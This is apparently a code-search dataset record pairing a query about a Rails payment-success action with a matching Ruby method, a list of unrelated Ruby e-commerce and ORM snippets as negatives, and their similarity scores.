"def get_relations(service)\n\t\treturn @transport.get_path(\"relations\",service)\n\tend", "def relate(attribute_name, options = {})\n options[:to] ||= '*'\n store_relation_mapping(options[:to], Internal::MappingFactory.build_relation(attribute_name, options))\n end", "def load_with_primary_key_lookup?(opts, dynamic_opts)\n opts[:type] == :many_to_one &&\n !dynamic_opts[:callback] && \n opts.send(:cached_fetch, :many_to_one_pk_lookup){opts.primary_key == opts.associated_class.primary_key}\n end", "def symbols_for_association_chain\n super.reverse\n end", "def method_missing(method, *args)\n return super if ::SolidusRelatedProducts.config[:no_conflict]\n # Fix for Ruby 1.9\n raise NoMethodError if method == :to_ary\n\n relation_type = find_relation_type(method)\n if relation_type.nil?\n super\n else\n relations_for_relation_type(relation_type)\n end\n end", "def associated_record(params)\n relationship = relationships(params).keys[0]\n relationship.camelize.constantize.friendly_uuid_find!(relation_id(params, relationship.to_sym))\n end", "def def_association_pks_getter(opts, &block)\n association_module_def(:\"#{singularize(opts[:name])}_pks\", &block)\n end", "def foreign_key(*attributes)\n self.foreign_keys += attributes\n end", "def relationship\n Relationship.new(self, CHART_R, \"../#{pn}\")\n end", "def property_prefix\n # TODO: try to use the inverse relationship name if possible\n Extlib::Inflection.underscore(Extlib::Inflection.demodulize(parent_model.base_model.name)).to_sym\n end", "def association_key_name\n reflection.join_primary_key(klass)\n end", "def scaffold_association(association)\n relationships[association]\n end", "def has_many(relationship)\n define_method relationship do\n temp = instance_variable_get(:\"@#{ relationship }\")\n\n return temp unless temp.nil? || temp.empty?\n\n klass = RescueGroups.constantize(relationship)\n foreign_key = \"#{ self.class.to_s.split('::').last.downcase }_id\"\n klass.where(foreign_key.to_sym => @id)\n end\n\n attr_writer relationship\n end", "def association_key_name\n reflection.join_primary_key(klass)\n end", "def eager_loading_use_associated_key?\n false\n end", "def related(r)\n relation_set(r).first\n end", "def association(association_name); end", "def associated_key_alias\n self[:left_key_alias]\n end", "def primary_key\n send( self.class.primary_key )\n end" ]
[ "0.6416039", "0.6262816", "0.62232363", "0.6137972", "0.60455704", "0.60186136", "0.59086", "0.5809414", "0.57868505", "0.57434756", "0.5699105", "0.5693595", "0.5653831", "0.56534135", "0.5623296", "0.5622213", "0.56205326", "0.5612764", "0.55571556", "0.55413824", "0.5510758", "0.54989886", "0.54961485", "0.54929394", "0.5470491", "0.54687625", "0.54508317", "0.54411113", "0.54160404", "0.54153925", "0.537229", "0.53662825", "0.5362923", "0.53593457", "0.5357662", "0.53524", "0.5351834", "0.53518176", "0.53463", "0.53362876", "0.53361404", "0.5332385", "0.5300617", "0.5300617", "0.5300617", "0.5300359", "0.5288632", "0.5285224", "0.5281556", "0.52805096", "0.5269309", "0.5269309", "0.52687764", "0.52687764", "0.52638143", "0.5254088", "0.5227488", "0.52234966", "0.52112186", "0.5208921", "0.5207759", "0.5207759", "0.51968783", "0.5192525", "0.5188326", "0.5171716", "0.5168908", "0.51581985", "0.5156784", "0.5155751", "0.5152522", "0.51444495", "0.51430535", "0.51427513", "0.51427513", "0.51325005", "0.5129984", "0.5127041", "0.5119583", "0.5119016", "0.51137465", "0.5113361", "0.5112164", "0.51037097", "0.5097712", "0.5094912", "0.5088307", "0.50867057", "0.5082945", "0.5081187", "0.5077196", "0.5076389", "0.50758755", "0.50746155", "0.50731575", "0.5072587", "0.5064709", "0.5064587", "0.5063966" ]
0.5505604
22
action for when payment is successful. finding the correct product listing my the eventid, assigning the buyer to the current user, creating a new sale and then making the item unapproved by changing the boolean value from true to false.
def success # using find to find exact result that matches the conditions(params with correct eventId) @product_listing = ProductListing.find(params["eventId"]) @sale = Payment.create(user_id: current_user.id, buyer_email: current_user.email, seller_email: @product_listing.user.email, product_listing_id: @product_listing.id, amount: @product_listing.price) @product_listing.approved = false @product_listing.save! end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def purchase_sub_existing_edu_bridge #like newcustomer action #channeling back to original checkout process\n @user = current_user\n @plan = params[:snc][:plan] #gives my_plan_id\n @event_type = params[:snc][:event_type] #gives 'reception' or 'wedding' depending on the channel; actually, will just be 'reception', since wedding channel has it's own controller\n \n #re-set customer event type\n @user.update_attributes(:event_type => @event_type)\n\n if signed_in?\n if customer_has_active_subscription?\n flash[:success] = \"You have already subscribed to our service. If you wish to change your subscription, please contact us. Thank you!.\"\n redirect_to current_user\n else \n #flash[:notice] = \"Since you are already a registered user, please use this page to purchase a subscription.\"\n @planobject = Plan.find_by_my_plan_id(@plan)\n @events_number = @planobject.events_number \n @user = current_user\n render 'stripenewcustomer_edu'\n end \n end\n\nend", "def sell_confirmed\n end", "def purchase_sub_existing_edu #much copied from static#students , but much not needed #in case use customer registers but then comes back later to finish purchasing\n @event = Event.find(ENV['demopage'].to_i)\n @commencement_plan = Plan.find_by_my_plan_id(plan_set_commencement) # sets @first_plan the first plan object ACCORDING TO MY LEGEND (with my_plan_id)\n @students_plan = Plan.find_by_my_plan_id(plan_set_students)\n @all_inclusive_plan = Plan.find_by_my_plan_id(plan_set_all_inclusive)\n @practiceobject = Practiceobject.new \n @practiceobject.event_id = @event.id #for the form_for(@practiceobject) which creatse a new practice object (and another form which just shows the labels - can find a better way for that)\n @registeredandrecordedpos = @event.practiceobjects.registered.recorded.visible\n @registeredandunrecordedpos = @event.practiceobjects.registered.unrecorded.visible\n @unregisteredpos = @event.practiceobjects.unregistered.visible\n @hiddenpos = @event.practiceobjects.hidden\n @hiddenandregisteredpos = @hiddenpos.registered\n @hiddenandunregisteredpos = @hiddenpos.unregistered \n\n @url = demo_record_directory_url(:event_code => @event.event_code)\nend", "def activate\n \n @event = Event.find(params[:act][:event_id])\n @event.purchase_type = 'p'\n @event.save\n\n current_user.decrement(:purchased_events)\n current_user.save\n\n redirect_to @event, notice: \"Thank you for activating the Event Page for #{@event.title}. You will now have permanent access to this page.\"\n\nend", "def approve_setup_fee_collection( current_user )\n self.is_setup_fee_collection_approved = true \n self.setup_fee_collection_approver_id = current_user.id \n self.save\n \n # create all those payment payable : loan disbursement \n end", "def sell_pending\n end", "def new4\n @order = Order.find( :first,\n :conditions => [\"user_id = ? and status = ? and id = ?\", self.current_user.id, \"incomplete\", params[:id]])\n begin\n @order.step = \"step4\"\n @order.status = \"ordered\"\n \n #Set status to confirmed, call show action\n #This is basically what the orignial create would do\n respond_to do |format|\n if @order.update_attributes(params[:order])\n # Remove ordered items from the cart \n @dels = Deliverable.find( :all, :conditions => [\"order_id = ?\", @order.id])\n @cart.cart_items.each do |c|\n @dels.each do |d|\n if c.listing_id == d.listing_id\n c.destroy\n end\n end \n end \n @user = User.find(@order.user_id)\n @seller = Seller.find(@order.seller_id)\n \n #Send confirmation email to buyer\n @deliverables = Deliverable.find(:all, :conditions => [\"order_id = ?\", @order.id])\n @shop = Shop.find(:first, :conditions => [\"seller_id = ?\", @seller.id])\n @seller_user = @seller.user\n logger.info @seller_user.id.to_s\n \n SystemMailer.deliver_ordered(@user, @seller, @order, @deliverables, @shop)\n \n current_language = session[:locale]\n I18n.locale = @seller.user.userpage.preferred_language\n SystemMailer.deliver_sale(@user, @seller_user, @seller, @order, @deliverables, @shop)\n I18n.locale = current_language\n \n \n format.html { redirect_to @order}\n format.xml { render @order }\n else\n flash[:notice_bad] = t(\"controllers.orders.s14\")\n format.html { render :controller => \"carts\", :action => \"show\" }\n end\n end\n rescue\n flash[:notice_bad] = t(\"controllers.orders.s15\")\n redirect_to orders_path\n else\n end\n end", "def make_payment\n if request.post?\n \n @product = Product.find_by_id(params[:id])\n\n\n @today = Time.now.in_time_zone(\"Eastern Time (US & Canada)\").to_datetime\n\n offer_token = (session[:_csrf_token] ||= SecureRandom.base64(32))\n ip = request.remote_ip\n @offer = @product.last_offer(ip,offer_token)\n unless @offer\n @offer = Offer.create(:product_id => @product.id,:price => @product.regular_price,:response => \"counter\", :token => offer_token, :ip => ip,:counter => 1)\n end\n \n if @offer.nil?\n redirect_to root_path\n return\n end\n session[@offer.id] = @offer.product.regular_price if session[@offer.id].nil?\n @month = Date.today.month\n @payment = Payment.find_or_initialize_by_offer_id(@offer.id) \n @payment.price = @offer.price\n @payment.save(:validates => false)\n redirect_to payments_path(@payment)\n else\n redirect_to root_path\n end\n end", "def buy_product\n products = @seller.show_product_info \n product_buy = @view.buy_product(products)\n @total_price = @seller.save_buy_a_product(product_buy)\n @view.buy_status(@total_price)\n input = @view.menu(\"2\")\n seller_actions(input) \n end", "def webhook\n payment_id = params[:data][:object][:payment_intent]\n payment = Stripe::PaymentIntent.retrieve(payment_id)\n receipt_url = payment.charges.data[0].receipt_url\n listing_id = payment.metadata.listing_id\n buyer_id = payment.metadata.user_id\n listing = Listing.find(listing_id)\n\n # Only changes deposit paid when payment has been successfully made.\n\n # Creates a purchase, which has the listing_id (technically don't need seller_id since that data is already stored in the Listings table in user_id column),\n # the buyer_id, payment_id, receipt_url and deposit_paid: to be true. But to make querying easier, added the seller_id in purchase table as well.\n paid = Purchase.create!(listing_id: listing_id, deposit_paid: true, buyer_id: buyer_id, seller_id: listing.user_id, payment_id: payment_id, receipt_url: receipt_url)\n end", "def successful_purchase_response\n end", "def confirm_post_production_result\n @post_production_result = PostProductionResult.find_by_id params[:post_production_result_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @post_production_result.confirm( current_user ) \n @object = @post_production_result\n @parent = @object.template_sales_item \n end", "def create\n PaymentNotification.create!(:params => params, :cart_id => params[:invoice], :status => params[:payment_status], :transaction_id => params[:txn_id])\n @cart = Cart.find(params[:invoice])\n if @cart.purshased_at\n \tbegin\n \t\tredirect_to orders_url\n \tend\n else\n \trender :nothing => true \t\n end\n\nend", "def webhook\n payment_id = params[:data][:object][:payment_intent]\n payment = Stripe::PaymentIntent::retrieve(payment_id)\n listing_id = payment.metadata.listing_id\n buyer_id = payment.metadata.user_id\n Listing.find(listing_id).update(sold: true)\n end", "def create\n if current_user.product_name == 'gold'\n redirect_to root_path\n end \n\n @order = current_user.orders.build(order_params)\n\n respond_to do |format|\n if @order.save\n \n if order_params[:product] == '$25 - Gold Plan'\n add_pin = 100\n plan = 'gold'\n else\n add_pin = 25\n plan = 'silver'\n end\n \n #Increase User pin on successfully payment recevied\n user = User.find(current_user.id)\n user.allowed_pins += add_pin\n user.product_name = plan\n user.save()\n\n format.html { redirect_to edit_user_registration_path, notice: 'Your Payment successfully received.' }\n # format.json { render :show, status: :created, location: @order }\n else\n format.html { render :new }\n # format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "def purchase\n begin\n ActiveRecord::Base.transaction do\n @user.coin_credit -= @product.price\n requested_detail = @product.details.available.first\n requested_detail.available = false # makes the detail unavailable\n requested_detail.save!\n @user.save!\n @user.purchased_details << requested_detail # adds the detail to purchased_details of the user\n @purchased_detail = requested_detail\n end\n true\n rescue => e\n Rails.logger.error e\n @user.reload\n @user.errors.add(:base, :purchase_problem)\n false\n end\n end", "def paid\r\n #if @notification.acknowledge # check if it’s genuine Robokassa request\r\n #@user.approve! # project-specific code\r\n render :text => @notification.success_response\r\n @payment.approve!\r\n #else\r\n #head :bad_request\r\n #end\r\n end", "def confirm_pre_production_result\n @pre_production_result = PreProductionResult.find_by_id params[:pre_production_result_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @pre_production_result.confirm( current_user ) \n @object = @pre_production_result\n @parent = @object.template_sales_item \n end", "def paid\n #if @notification.acknowledge # check if it’s genuine Robokassa request\n #@user.approve! # project-specific code\n render :text => @notification.success_response\n @user.approve!\n #else\n #head :bad_request\n #end\n end", "def payment\n @orders = current_user.orders.all\n @orders.map do |order|\n order.update_attribute(:paid, true)\n order.save \n end\n redirect_to products_path\n end", "def payment\n @invoice = BitcoinInvoice.find_by_notification_key(params[:id])\n #if @invoice.status != BitcoinInvoice::NEW\n # redirect_to root_path, :alert => 'Cannot pay more than once!' and return\n #end\n end", "def order_success\n begin\n @order = (flash[:order_id] ? Order.find(flash[:order_id]) : @customer.orders.last)\n\n flash.keep(:order_id) # Keep the order ID around in case of a reload\n\n if request.post?\n if params[:customer]\n @order.customer.update_attributes( params[:customer] )\n end\n end\n\n rescue Exception => e\n ExceptionNotifier::Notifier.exception_notification(request.env, e).deliver\n @order = nil\n end\n\n @upsell_products = []\n if ! @order.andand.university_id\n @upsell_products = @customer.andand.postcheckout_upsell_recommend(1, 2, @order)\n end\n end", "def create\n # You maybe want to log this notification\n notify = Paypal::Notification.new request.raw_post\n \n # Split the item_id\n account_id = notify.item_id\n \n @user = User.find account_id\n\n if notify.acknowledge\n # Make sure you received the expected payment!\n if notify.complete? and 9.99 == Decimal.new( params[:mc_gross] ) and notify.type == \"subscr_payment\"\n # All your bussiness logic goes here\n @user.premium = true\n @user.valid_till = Date.today + 1.month\n @user.save\n render :nothing => true\n end\n end\n end", "def mark_paid(user)\n event_user = event_user(user)\n event_user.paid_at = Time.now\n event_user.save\n end", "def create\n event_id = purchase_params[:event_id]\n @event = Event.find(event_id)\n @purchase = Purchase.new(purchase_params)\n\n respond_to do |format|\n if @purchase.save\n @event.update_total_balance\n # Update all user_event_balances\n @purchase.event.user_event_balances.each do |ueb|\n ueb.update_debt\n ueb.update_credit\n end\n\n format.html { redirect_to @event, success: 'Purchase was successfully created.' }\n format.json { render action: 'show', status: :created, location: @purchase }\n else\n format.html { render action: 'new' }\n format.json { render json: @purchase.errors, status: :unprocessable_entity }\n end\n end\n end", "def make_the_payment\n\n session[:purchasable] = nil\n if @order and @order.invoices.last\n @invoice = @order.generate_invoice_extra_entry(@current_user, params[:invoicing_info])\n else\n @invoice = @order.generate_invoice(@current_user, params[:invoicing_info]) \n end \t\n\n if params[:invoicing_info][:payment_medium] == \"cash\" or params[:invoicing_info][:payment_medium] == \"cheque\" or params[:invoicing_info][:payment_medium] == \"direct deposit\"\n @invoice.accept_cash_or_cheque_or_bank_payment(params[:invoicing_info][:payment_medium]) \n elsif params[:invoicing_info][:payment_medium] == \"paypal\"\n @invoice.validating(\"paypal\")\n else\n @invoice.validating\n end \t\n @current_object.invoice = @invoice\n @current_object.save\n invoice = Invoice.find(:last,:conditions=>[\"client_id = ? and purchasable_id = ?\",@current_user.id,@order.id])\n if @order.instance_of? CompetitionsUser\n note = \"no notes created\"\n note = @order.competition.timing.note if @order.competition.timing\n start_date = @order.competition.timing.starting_date.strftime(\"%d %b %Y\")\n end_date = @order.competition.timing.ending_date.strftime(\"%d %b %Y\")\n if params[:invoicing_info][:payment_medium] == \"cash\" or params[:invoicing_info][:payment_medium] == \"cheque\" or params[:invoicing_info][:payment_medium] == \"direct deposit\"\n if invoice\n\n p \"fdfgffggfdgfgd\"\n\n \n p \"i got the invoice and creating pdf\"\n\n create_pdf(invoice.id,invoice.number,start_date,invoice.client.profile.full_address_for_invoice,invoice.client.profile.full_name_for_invoice,@order.competition.title,invoice.final_amount.to_i,note,invoice.final_amount.to_i,0,false,end_date)\n end \n else\n create_pdf(invoice.id,invoice.number,invoice.sent_at.strftime(\"%d %b %Y\"),invoice.client.profile.full_address_for_invoice,invoice.client.profile.full_name_for_invoice,@order.competition.title,invoice.final_amount.to_i,note,\"\",invoice.final_amount.to_i,false,end_date)\n end\n elsif @order.instance_of? ExhibitionsUser\n note = \"no notes created\"\n note = @order.exhibition.timing.note if @order.exhibition.timing\n create_pdf(invoice.id,invoice.number,invoice.sent_at.strftime(\"%d %b %Y\"),invoice.client.profile.full_address_for_invoice,invoice.client.profile.full_name_for_invoice,@order.exhibition.title,invoice.final_amount.to_i,note)\n end\n #QueuedMail.add('UserMailer', 'send_invoice',[@invoice,@current_user], 0, send_now=true)\t\n #QueuedMail.create(:mailer => 'UserMailer', :mailer_method => 'send_invoice',:args => [@current_user.profile.email_address,\"invoice#{invoice.id}\",\"An Invoice Is Send To Your Email For Your Payment\"],:priority => 0,:tomail=>@current_user.profile.email_address,:frommail=>\"test@pragtech.co.in\")\n begin\n\n # email= UserMailer.create_send_invoice(invoice,@current_user)\n # UserMailer.deliver(email)\n\n p \"sending the emaillll\"\n email= UserMailer.create_send_invoice(invoice,@current_user)\n #UserMailer.deliver(email)\n\n rescue\n end\n session[:total_entry] = nil \n if @invoice.purchasable_type == \"Order\"\n session[:cart]=nil\n end\n end", "def hook\n params.permit! # Permit all Paypal input params\n status = params[:payment_status]\n if status == \"Completed\"\n @order = Order.find params[:invoice]\n @order.update_attributes notification_params: params,\n status: status,\n transaction_id: params[:txn_id],\n purchased_at: Time.now\n end\n # render nothing: true\n end", "def before_submit_purchased!\n end", "def purchase_events_new_card\n token = params[:stripeToken]\n @number = params[:number].to_i\n coupon = params[:coupon]\n cost = params[:cost] #in cents\n\n if update_card_and_purchase(token, @number, cost, coupon)\n #if the customer had a coupon, update that coupon to be inactive, and attach customer's user id to it\n # if !coupon.blank?\n # redeem_single_use_coupon(coupon)\n # end \n flash[:success] = \"Thank you! You have purchased an additional #{@number} event pages.\"\n redirect_to current_user\n else\n redirect_to existing_user_purchase_path\n end \nend", "def make_the_payment_paypal\n #here i need to refresh the order because the total entry field is changed\n order=CompetitionsUser.find(session[:order].id)\n if order and order.invoices.last\n @invoice = order.generate_invoice_extra_entry(@current_user,{\"payment_medium\"=>\"paypal\"} )\n else\n @invoice = order.generate_invoice(@current_user, {\"payment_medium\"=>\"paypal\"}) \n end \t\n @invoice.validating(\"paypal\")\n session[:current_object].invoice = @invoice\n session[:current_object].save\n p session[:userid]\n if session[:userid].blank?\n invoice = Invoice.find(:last,:conditions=>[\"client_id = ? and purchasable_id = ?\",@current_user.id,order.id])\n \n else\n invoice = Invoice.find(:last,:conditions=>[\"client_id = ? and purchasable_id = ?\",session[:userid],order.id])\n \n end\n \n if order.instance_of? CompetitionsUser\n note = \"no note created\"\n note = order.competition.timing.note if order.competition.timing \n \n start_date = order.competition.timing.starting_date.strftime(\"%d %b %Y\")\n end_date = order.competition.timing.ending_date.strftime(\"%d %b %Y\")\n p \"the invoice is blank\"\n p invoice\n if invoice \n create_pdf(invoice.id,invoice.number,invoice.sent_at.strftime(\"%d %b %Y\"),invoice.client.profile.full_address_for_invoice,invoice.client.profile.full_name_for_invoice,order.competition.title,invoice.final_amount.to_i,note,\"\",invoice.final_amount.to_i,false,end_date)\n else\n p \"i dont have invoice created\"\n end\n elsif order.instance_of? ExhibitionsUser\n note = \"no note created\"\n note = order.exhibition.timing.note if order.exhibition.timing \n create_pdf(invoice.id,invoice.number,invoice.sent_at.strftime(\"%d %b %Y\"),invoice.client.profile.full_address_for_invoice,invoice.client.profile.full_name_for_invoice,order.exhibition.title,invoice.final_amount.to_i,note)\n end\n #QueuedMail.add('UserMailer', 'send_invoice',[@invoice,@current_user], 0, send_now=true)\t\n #QueuedMail.create(:mailer => 'UserMailer', :mailer_method => 'send_invoice',:args => [@current_user.profile.email_address,\"invoice#{invoice.id}\",\"An Invoice Is Send To Your Email For Your Payment\"],:priority => 0,:tomail=>@current_user.profile.email_address,:frommail=>\"test@pragtech.co.in\")\n begin\n email= UserMailer.create_send_invoice(invoice,@current_user)\n UserMailer.deliver(email)\n rescue => e\n logger.info \"there is error while sending the email\"\n logger.info e\n end\n end", "def confirm_production_repair_result\n @production_repair_result = ProductionRepairResult.find_by_id params[:production_repair_result_id]\n # add some defensive programming.. current user has role admin, and current_user is indeed belongs to the company \n @production_repair_result.confirm( current_user ) \n @object = @production_repair_result\n @parent = @object.template_sales_item \n end", "def apply_approve\n \t# condition for check the cancelled flag then update flag as false else update only apply approve\n @product.cancelled ? @product.update(apply_approve: true,cancelled: false) : @product.update(apply_approve: true)\n @product.update(apply_approve: true)\n respond_to do |format|\n format.html { redirect_to publish_product_url(@product)}\n format.json { head :no_content }\n end\n end", "def success\n @order.user_id = current_user.id\n @order.seller_id = @listing.user_id\n @order.title = @listing.title\n @order.description = @listing.description\n @order.condition = @listing.condition\n @order.category = @listing.category\n @order.price = @listing.price\n @order.save\n end", "def payment_made\n invoice = Invoice.find(params[:id])\n invoice.payment_received = true\n invoice.save!\n redirect_to root_path \n end", "def create\n @product = Product.new(product_params)\n @product.user_id = current_user.id\n @product.rented = false\n\n respond_to do |format|\n if @product.save\n format.html { redirect_to @product, notice: 'Your product was successfully created.' }\n format.json { render :show, status: :created, location: @product }\n else\n format.html { render :new }\n format.json { render json: @product.errors, status: :unprocessable_entity }\n end\n end\n end", "def purchase_action\n # from cart\n if params[:product_id] == '0'\n @items = session[:cart]\n @purchase = Purchase.new(bill_address_id: params[:bill_address_id], ip: IPAddr.new(request.remote_ip).to_i)\n @purchase.save\n @items.each do |item|\n @purchase_products = PurchaseProduct.new(purchase_id: @purchase.id, product_id: item['product'], quantity: item['quantity'])\n @purchase_products.save\n stock_minus(item['product'], item['quantity'])\n end\n # via product page\n else\n @purchase = Purchase.new(bill_address_id: params[:bill_address_id], ip: IPAddr.new(request.remote_ip).to_i)\n if @purchase.save\n @purchase_products = PurchaseProduct.new(purchase_id: @purchase.id, product_id: params[:product_id], quantity: session[:quantity])\n @purchase_products.save\n stock_minus(params[:product_id], session[:quantity])\n else\n render 'purchase_show'\n end\n end\n # Send email\n UserMailer.purchase_email(@purchase).deliver\n session[:purchased_item] = params[:product_id]\n redirect_to purchase_success_path\n end", "def confirm_first_product_deliverd\n first_product_id=params[:first_product_id]\n if first_product_id\n begin\n @first_product=FirstProduct.find(first_product_id)\n rescue\n # @completed_first_products=FirstProduct.where(\"is_completed='t' and is_delivered='f'\")\n #redirect_to users_first_products_path\n respond_to do |format|\n format.html\n format.js\n format.json\n end\n end\n if @first_product\n if @first_product.update_attribute(:is_delivered, true)\n flash.now[:success]=\"First product with id #{@first_product.id} delivered\"\n else\n flash.now[:error]=\"First product with id #{@first_product.id} failed to delivered\"\n end\n end\n @completed_first_products=FirstProduct.where(\"is_completed='t' and is_delivered='f'\")\n #redirect_to users_first_products_path\n respond_to do |format|\n format.html\n format.js\n format.json\n end\n end\n end", "def approve_bid\n order_id = params[:order_id]\n bid_history_id = params[:price_history_id]\n user_id = current_user.id\n \n @order = Order.find(order_id)\n if @order\n if user_id == @order.buyer.id\n @order_hist = OrderPriceHistory.find(bid_history_id)\n @order.vendor_id = @order_hist.vendor_id\n @order.deal_price = @order_hist.price\n @order.deal_date = DateTime.current\n @order.status = 2\n \n if @order.save\n logger.debug \"order approved, dealed. for order_id = \" + order_id.to_s\n flash.now.notice = \"竞拍成交!\"\n else\n logger.error \"order approved failed for order_id = \" + order_id.to_s\n flash.now.alert = \"竞拍未能成交!\"\n end\n else\n logger.error \"order approved failed, buyer not correct. for order_id = \" + order_id.to_s\n flash.now.alert = \"竞拍未能成交!\"\n end \n else\n logger.error \"order approved failed, not found. for order_id = \" + order_id.to_s\n flash.now.alert = \"竞拍未能成交!!\"\n end\n\n render \"dashboard/approve_bid\" and return\n #redirect_to dashboard_purchases_path #\"/dashboard/dashboard_purchases\"\n end", "def confirm_object(confirmation_datetime)\n return self if not self.confirmable?\n \n self.is_confirmed = true \n self.confirmed_at = confirmation_datetime\n self.save \n \n self.post_confirm_update_stock_mutation\n # self.post_confirm_update_price_mutation \n \n # po_detail =self.purchase_order_detail\n # po_detail.pending_receival -= self.quantity \n po_detail = self.purchase_order_detail \n po_detail.execute_receival( self.quantity ) \n end", "def create\n #@sale = Sale.new(sale_params)\n @sale = Sale.new\n @sale.buyer_id = current_user.id\n @sale.product_id = @product.id\n \n @sale.save\n render :show\n #respond_to do |format|\n # if @sale.save\n # format.html { redirect_to @sale, notice: 'Product was successfully created.' }\n # format.json { render :show, status: :created, location: @sale }\n # else\n # format.html { render :new, notice: 'Product not created.' }\n # format.json { render json: @sale.errors, status: :unprocessable_entity }\n # end\n end", "def paypal_return\r\n user_id = params[:user_id]\r\n @user = User.find(user_id)\r\n session[:user_id] = @user[:id]\r\n session[:user_email] = @user[:email]\r\n #render :text => params \r\n if Purchase.exists?(params[:id])\r\n redirect_to(:action=>'order_confirmed/'+params[:id].to_s)\r\n else\r\n flash[:notice] = I18n.t 'event.purchase.pur_can'\r\n redirect_to(:controller => 'home', :action=>'index') \r\n end \r\n end", "def pay_installment\n set_loan_installment\n\n @loan = @loan_installment.loan_installment_container.loan\n\n \n\n respond_to do | format |\n \n if @loan.status == Loan.statuses[:disbursed]\n\n ae_exist = AccountingEntry.where(from_installment: @loan_installment.id).first\n\n unless ae_exist\n\n @loan_installment.update(loan_installment_params)\n\n \n\n # Record this in the Activity Log\n record(pundit_user, 'Accepted Payment')\n\n\n ab = @loan.accounting_book\n\n\n remaining_principal = ab.overall_principal_balance - @loan_installment.principal_amount\n remaining_interest = ab.overall_interest_balance - @loan_installment.interest_amount\n\n\n ae = ab.create_entry title: \"Installment no #{@loan_installment.installment_no}\", description: \" Payment of #{@loan.client.full_name}\", principal_balance: remaining_principal, interest_income_balance: remaining_interest, from_installment: @loan_installment.id\n ae.create_dr_entry description: \"Cash\", value: @loan_installment.principal_amount + @loan_installment.interest_amount\n ae.create_cr_entry description: \"Account receivable\", value: @loan_installment.principal_amount\n ae.create_cr_entry description: \"Interest income\", value: @loan_installment.interest_amount\n\n\n amount = (@loan_installment.principal_amount + @loan_installment.interest_amount)\n new_payment_email = LoanMailer.new_payment_notification(@loan, amount)\n new_payment_email.deliver_now\n \n \n ab.overall_principal_balance = remaining_principal\n ab.overall_interest_balance = remaining_interest\n\n ab.save\n end\n\n format.js { render 'loan_installments/pay_installment.js.erb' }\n else\n format.js { render 'loan_installments/pay_installment_failed.js.erb' }\n end\n end\n end", "def wepay_postfill\n # If the user approved the 'preapproval' and \n if params.has_key?('preapproval_id')\n @order = Order.find_by_token(params[:preapproval_id])\n unless @order.nil?\n wepay = WePay.new(Settings.wepay_client_id, Settings.wepay_access_token, _use_stage = (!Rails.env.production?))\n # Let's find the user information on Wepay end..\n response = wepay.call('/preapproval', Settings.wepay_access_token, {\n :preapproval_id => params[:preapproval_id]\n })\n \n @order.wepay_postfill(response)\n if params['status'] != 'approved' \n redirect_to :action => :share, :uuid => @order.uuid\n else\n redirect_to root_url\n end\n else\n redirect_to root_url\n end\n else\n redirect_to root_url\n end\n end", "def after_purchase(order)\n self.consumed = true\n # send confirmation email to admin and to user, #person.send_email already delays\n notify_admins\n notify_backer\n save!\n\n MixpanelEvent.track(\n person_id: person_id,\n event: 'Create Order',\n checkout_method: order.checkout_method.class.name,\n product: \"team_payin\",\n amount: amount,\n team_id: team.id,\n member: team.person_is_member?(person)\n )\n end", "def confirm_checkout\n lineItems = LineItem.find_all_by_user_id(current_user.id)\n if(lineItems)\n @transaction = Transaction.create(:buyer_id => current_user.id)\n user = current_user\n baddress = params[:address]\n bzipcode = params[:zipcode]\n if(!baddress || !bzipcode || baddress.length <=0 || bzipcode.length <=0)\n redirect_to cart_checkout_path, :notice => 'Please enter the address' #TODO: This notice should appear on page\n elsif (!params[:card][:user_id] || params[:card][:user_id].length<=0)\n redirect_to cart_checkout_path, :notice => 'Please select a credit card for payment'\n else\n if(params[:saddress] && params[:szipcode] && params[:saddress].length>0 && params[:szipcode].length == 5 )\n @saddress = params[:saddress]\n @szipcode = params[:szipcode]\n else\n @saddress= baddress\n @szipcode = bzipcode\n end\n\n\n @confirmed_items = \"\"\n @unavailable_items = \"\"\n @orders = []\n if @transaction.save\n lineItems.each do |lineItem|\n if(lineItem.line_item_type==9)\n order = Order.new\n item = Item.find(lineItem.item_id)\n auction = Auction.find_by_id(lineItem.auction_id)\n if(auction.state==1)\n auction.update_attribute(:state,2)\n order.billing_address = baddress + bzipcode\n order.shipping_address = @saddress + @szipcode\n order.item_quantity = lineItem.quantity\n order.price = Auction.find_by_item_id(lineItem.item_id).bid_amount\n order.total_price = Auction.find_by_item_id(lineItem.item_id).bid_amount * lineItem.quantity\n order.transaction_id = @transaction.id\n order.seller_id = item.user_id\n order.buyer_id = current_user.id\n order.item_id = item.id\n order.state = 0\n\n if(!order.save)\n redirect_to \"back\", :notice => \"Error creating order, or contact administrator with this message\"\n else\n @orders.push(order)\n @confirmed_items = @confirmed_items + \" \" + item.name+\"(\"+lineItem.quantity.to_s+\")\"\n NotifyUser.order_confirmation(user,@confirmed_items,@orders).deliver\n lineItem.destroy\n end\n end\n\n end\n\n\n if(lineItem.line_item_type==0)\n order = Order.new\n item = Item.find(lineItem.item_id)\n if(lineItem.quantity<=item.availability)\n order.billing_address = baddress + bzipcode\n order.shipping_address = @saddress + @szipcode\n order.item_quantity = lineItem.quantity\n order.price = item.price\n order.total_price = Float(item.price) * lineItem.quantity\n order.transaction_id = @transaction.id\n order.seller_id = item.user_id\n order.buyer_id = current_user.id\n order.item_id = item.id\n order.state = 0\n\n if(order.save)\n item.sold_count += lineItem.quantity\n item.availability -= lineItem.quantity\n item.save\n @orders.push(order)\n @confirmed_items = @confirmed_items + \" \" + item.name+\"(\"+lineItem.quantity.to_s+\")\"\n NotifyUser.order_confirmation(user,@confirmed_items,@orders).deliver\n lineItem.destroy\n else\n redirect_to :back, :notice => \"Error creating order, verify your inputs or contact administrator with this message\"\n end\n else\n @unavailable_items = @unavailable_items + \" \" + item.name+\"(\"+lineItem.quantity.to_s+\")\"\n end\n end\n end\n end\n end\n #redirect_to :action => 'index', :controller => 'orders'\n else\n redirect_to :back, :notice => 'Unknown processing error. Please verify your orders' #TODO: Cart screen\n end\n end", "def create\n authorize! :pay_with_sofort, @order\n @order.assign_attributes(confirmation_params)\n unless @order.valid?\n @order = @order.decorate\n @address = @order.address\n @product = @order.product.decorate\n return render 'signup/orders/confirm'\n end\n # TODO: check if chosen paymentmethod is sofort. sofort payment must be available for this event\n transaction = ::Sofort::StartTransaction.new(@order)\n transaction.run do |sofort_checkout|\n return redirect_to sofort_checkout\n end\n # TODO: Handle case of Transaction not working\n # render 'something'\n end", "def create\n @purchase = Purchase.new(purchase_params)\n 